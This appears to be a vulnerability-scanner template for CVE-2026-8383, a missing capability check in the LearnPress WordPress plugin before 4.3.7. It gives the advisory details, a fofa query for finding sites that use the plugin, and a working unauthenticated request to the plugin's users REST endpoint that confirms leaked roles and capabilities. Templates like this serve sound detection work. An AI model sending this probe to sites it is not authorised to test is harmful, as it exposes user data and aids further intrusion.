LearnPress < 4.3.7 - Information Disclosure

id: CVE-2026-8383

info:
  name: LearnPress < 4.3.7 - Information Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    LearnPress WordPress plugin < 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.
  impact: |
    Unauthenticated attackers can access sensitive user role and capability information, potentially aiding further attacks.
  remediation: |
    Update to version 4.3.7 or later.
  reference:
    - https://wpscan.com/vulnerability/b7cbf68b-62c5-4787-b84b-69df9e0122b2/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8383
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-8383
    epss-score: 0.00424
    epss-percentile: 0.34127
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: thimpress
    product: learnpress
    fofa-query: body="/wp-content/plugins/learnpress/"
    tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,disclosure,rest-api

http:
  - raw:
      - |
        GET /wp-json/learnpress/v1/users?context=edit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"roles\"", "\"capabilities\"", "registered_date")'
        condition: and
# digest: 4b0a00483046022100e61932d6a850a3ae9f2039f8780dd8dbc38639b50e5fe5db3b906f6cc563d558022100fcd28f85edf49e15e0f87278bbf1f0d1879d64a028b6140d68ba1b2a0e95ae97:922c64590222798bb761d5b6d8e72950